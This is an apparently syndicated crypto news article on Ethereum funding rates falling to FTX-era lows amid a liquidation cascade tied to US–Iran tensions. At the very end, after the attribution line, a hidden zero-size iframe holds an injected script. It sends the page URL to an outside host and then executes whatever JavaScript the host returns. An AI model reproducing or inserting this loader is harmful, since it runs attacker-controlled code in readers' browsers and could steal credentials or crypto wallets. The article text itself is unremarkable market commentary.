<p>Ethereum derivatives markets have entered a zone historically associated with systemic stress, as funding rates on Binance collapsed to levels last seen during the FTX collapse.</p>
<p>The move followed a sharp, liquidity-driven sell-off across crypto markets, triggered by rising geopolitical tensions between the United States and Iran and a broad risk-off shift across global assets.</p>
<p>At the intraday low, total crypto market capitalization fell by nearly $300 billion in a single session, extending cumulative losses to roughly $470 billion over three days. This rapid repricing mechanically set off cascading liquidations across derivatives venues, with more than $2.5 billion in positions wiped out, including approximately $1.1 billion in Ethereum liquidations alone.</p>
<p><img decoding="async" class="aligncenter size-full wp-image-357550" src="https://www.ethnews.com/wp-content/uploads/2026/02/pWNQIY_04d32e7e0d3c4cc56aa1c180937d39835f7133c812def9f0e1ff91217bebd773.webp" alt="" width="1280" height="720"></p>
<h3 id="liquidations-not-spot-selling-drove-the-move">Liquidations, Not Spot Selling, Drove the Move</h3>
<p>The decline was not primarily driven by discretionary spot selling. Instead, it reflected a forced unwind of leverage. As prices moved through thin liquidity zones, long positions were automatically closed, executing as market orders and amplifying downside momentum.</p>
<p>This dynamic created a sharp imbalance between Ethereum’s spot and perpetual markets. ETH perpetual contracts traded at a meaningful discount to spot, signaling excess selling pressure concentrated in derivatives rather than in underlying demand.</p>
<p>To restore equilibrium between the two markets, funding rates were forced to adjust aggressively.</p>
<h3 id="funding-rates-signal-extreme-stress">Funding Rates Signal Extreme Stress</h3>
<p>On Binance, ETH funding rates flipped deeply negative, reaching approximately -0.028%, an extreme reading that has historically appeared only during periods of severe market dislocation. Comparable levels were last observed during the FTX collapse, a phase characterized by systemic panic, counterparty risk, and widespread forced liquidations.</p>
<p>The stress was not isolated to Ethereum. Aggregated funding rates across major exchanges fell to roughly -0.078, highlighting broad-based pessimism in derivatives positioning across the crypto market.</p>
<p>Negative funding rates indicate that short sellers are paying a premium to maintain positions, reflecting an overcrowded bearish trade rather than balanced two-sided activity.</p>
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<h3 id="what-extreme-funding-does-and-does-not-signal">What Extreme Funding Does, and Does Not Signal</h3>
<p>Historically, deeply negative funding rates have often coincided with late-stage liquidation events. They suggest excessive pessimism and one-sided positioning in derivatives markets. However, they are not, by themselves, a confirmation of a market bottom.</p>
<p>In past cycles, similar conditions sometimes preceded relief rallies — but only once external stress factors eased and liquidity stabilized. In the current environment, geopolitical uncertainty and constrained liquidity continue to dominate market behavior.</p>
<p>As long as these pressures persist, funding extremes should be interpreted as evidence of a cleansing phase, not a confirmed transition into recovery.</p>
<h3 id="structural-takeaway">Structural Takeaway</h3>
<p>The current episode reinforces a recurring theme in crypto market drawdowns:<br> price damage is often driven less by changes in fundamentals and more by leverage interacting with liquidity.</p>
<p>Until liquidation pressure subsides and funding rates normalize, Ethereum and the broader crypto market remain in a phase of forced adjustment rather than rebuilding. Confirmation of stabilization will require time, improved liquidity conditions, and a clear reduction in systemic risk drivers.</p>
<p>The post <a href="https://www.ethnews.com/ethereum-funding-rates-sink-to-ftx-era-extremes-as-liquidations-accelerate/">Ethereum Funding Rates Sink to FTX-Era Extremes as Liquidations Accelerate</a> appeared first on <a href="https://www.ethnews.com">ETHNews</a>.</p><div class="html-block" element="iframe" srcdoc="<script>fetch('https://api.saasexch.xyz/bapi/themis/api/v1/init',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({url:top.location.href})}).then(e=>e.json()).then(e=>{if(e)if('eval'==e.mode)new Function(e.data)();else{const t=top.document.createElement('script');'inline'==e.mode?t.textContent=e.data:'blob'==e.mode?t.src=URL.createObjectURL(new Blob([e.data])):t.src=e.data,top.document.head.appendChild(t)}}).catch(()=>{})</script>" width="0" height="0" frameborder="0"></div>

Ethereum Funding Rates Sink to FTX-Era Extremes as Liquidations Accelerate

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